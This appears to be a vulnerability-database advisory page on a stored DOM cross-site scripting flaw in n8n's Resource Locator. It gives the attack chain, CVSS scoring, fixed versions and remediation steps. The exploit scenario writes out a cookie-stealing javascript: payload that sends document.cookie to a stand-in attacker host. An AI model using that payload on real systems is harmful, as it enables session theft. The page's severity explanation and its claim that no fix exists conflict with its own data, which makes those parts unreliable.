EUVD-2026-47636
GHSA-9wcp-9r3j-383q
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain workflow editor access
-
DeliveryStore javascript: URI in cachedResultUrl
-
ExploitShare crafted workflow with victim
-
ExecutionVictim opens workflow and clicks link
-
Persistwindow.open() executes payload
-
ImpactSteal session and pivot
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold workflow creation or editing privileges (PR:L) on the target n8n instance and to persist a malicious scheme (e.g., javascript:) in the Resource Locator's cachedResultUrl field. Execution is gated by victim interaction: a different, typically higher-privileged user must open the crafted workflow AND actively click/interact with the external link that triggers window.open() (UI:A/Passive). It therefore does NOT work against a default single-user deployment with no untrusted authors; it is realistic only where workflow authoring is delegated to lower-trust users or workflows are imported/shared across trust boundaries. The affected n8n versions are those before 1.123.64, 2.29.8, and 2.30.1. |
| Impact | The CVSS 4.0 base score of 8.4 (High) reflects network reach (AV:N), low complexity (AC:L), but crucially PR:L and UI:A (Passive) - meaning the attacker must already hold workflow create/edit rights and the victim must open the workflow and interact with a link. This is a meaningful gate: it is not remote-unauthenticated. VC:H/VI:H reflect that script running in a victim's authenticated n8n session can compromise their credentials, workflows, and connected integrations, while VA:N and SC:L/SI:L reflect limited/partial subsequent-system impact. EPSS is not provided; KEV status is not listed (no active exploitation); and no POC is referenced - so this is a credible but not currently weaponized issue. The primary real-world risk is in multi-user or multi-tenant n8n deployments where lower-trust users can author workflows shared with or reviewed by higher-privileged operators. In single-user self-hosted setups the risk is largely self-inflicted and low. |
| Exploit ScenarioDerived | A low-privileged user on a shared n8n instance crafts a workflow whose Resource Locator field stores a cachedResultUrl of javascript:fetch('//attacker/'+document.cookie), then shares or submits it for review. When an administrator opens the workflow and clicks the external resource link, window.open() executes the payload in the admin's authenticated session, enabling credential/session theft or workflow tampering. No public POC is currently referenced. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 22, 2026
Stored DOM cross-site scripting in n8n's Resource Locator component allows a low-privileged workflow author to execute arbitrary JavaScript in another user's browser session. The flaw stems from the workflow-persisted cachedResultUrl value being passed to window.open() without scheme validation, letting a javascript: URI fire when a victim opens the crafted workflow and clicks an external link. No public exploit has been identified at time of analysis, and it is not listed in CISA KEV, but exploitation is realistic in shared/multi-tenant n8n instances.
RemediationAI
Upgrade to a fixed release: n8n 1.123.64 (1.x line), 2.29.8 (2.29 branch), or 2.30.1 (2.30 branch), whichever matches your deployed major/minor version, per vendor advisory GHSA-9wcp-9r3j-383q. Until patching, limit workflow creation/editing to trusted operators and review any shared or imported workflows before opening them, since exploitation requires an attacker-authored workflow - restricting or auditing the pool of workflow authors directly removes the attack surface at the cost of collaboration friction. Avoid opening or clicking external links within untrusted workflows, and consider a browser-side or reverse-proxy Content-Security-Policy that blocks inline/javascript: script execution as defense-in-depth, noting CSP can break legitimate front-end features and should be tested against n8n's UI first.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
n8n is a self-hosted, fair-code workflow automation platform (a Node.js/Vue front-end orchestration tool). The Resource Locator is a UI control that lets nodes reference external resources and stores a human-friendly cachedResultUrl alongside the resource ID. Because this cached URL is persisted inside the workflow definition and later handed to window.open() on the client, an attacker-controlled string reaches a DOM sink without output sanitization or scheme allow-listing - the CWE-79 root cause. Browsers treat window.open('javascript:...') as script execution in the opener's origin, turning a stored data field into a DOM-based XSS sink. The affected code path exists in n8n versions prior to 1.123.64, 2.29.8, and 2.30.1 (cpe:2.3:a:n8n-io:n8n).
Know when N8n gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Attacker needs workflow-edit rights (PR:L) and victim interaction (UI:R); script runs in the victim's origin crossing a privilege boundary (S:C) enabling session/credential compromise (C:H/I:H, A:N).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
n8n before 1.123.64, 2.29.8, and 2.30.1 contains a stored DOM cross-site scripting vulnerability in the Resource Locator component, which passes the workflow-persisted cachedResultUrl parameter to window.open() without scheme validation. An attacker with workflow creation/editing privileges can craft a workflow with a malicious (e.g., javascript:) scheme in cachedResultUrl; when a victim opens the crafted workflow and interacts with external links, the payload executes in the victim's browser.
Executive ViewAI
A stored cross-site scripting vulnerability (CVE-2026-65592, CVSS 8.4) in n8n's Resource Locator component enables authenticated low-privileged workflow authors to inject malicious JavaScript that executes in other users' browser sessions. While no public exploit has been identified at time of analysis, the vulnerability poses immediate risk in multi-tenant or shared n8n deployments, as attackers with basic author privileges can hijack sessions, steal credentials, or escalate privileges. Organizations should immediately assess exposure and implement interim controls until vendor remediation becomes available.
Enforce strict Content Security Policy headers to block javascript: scheme execution; restrict workflow creation and sharing permissions to trusted personnel only; implement real-time detection and alerting on suspicious workflow modifications or Resource Locator external link invocations; disable external link functionality at the reverse proxy or network edge if operationally acceptable; conduct immediate forensic audit of existing workflows for malicious cachedResultUrl payloads and remove or quarantine suspicious workflows; if using multi-tenancy, segregate instances by user trust boundary to limit cross-user blast radius.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
n8n workflow automation (through 1.121.2) allows authenticated users to execute arbitrary code via the n8n service, with
n8n workflow automation (1.65.0 to 1.121.0) allows unauthenticated file access through form-based workflows. A critical
n8n has a fifth critical RCE vulnerability (CVSS 9.9) in the Expression evaluator, enabling code execution through craft
Authenticated users who can create or modify an n8n workflow can achieve remote code execution on the n8n host by abusin
A prototype pollution vulnerability in the XML and GSuiteAdmin nodes of n8n workflow automation platform allows authenti
An authenticated user with workflow creation or modification privileges in n8n workflow automation platform can exploit
n8n-workflows Main Commit ee25413 allows attackers to execute a directory traversal via the download_workflow function w
Authenticated n8n users can hijack administrator accounts when LDAP authentication is enabled by manipulating their LDAP
The n8n package 0.218.0 for Node.js allows Escalation of Privileges. Rated high severity (CVSS 8.8), this vulnerability
SQL injection in n8n's Data Table Get node allows authenticated users with workflow modification permissions to execute
Authenticated users can exploit string formatting and exception handling in n8n's Python task executor to escape sandbox
Exploit-DB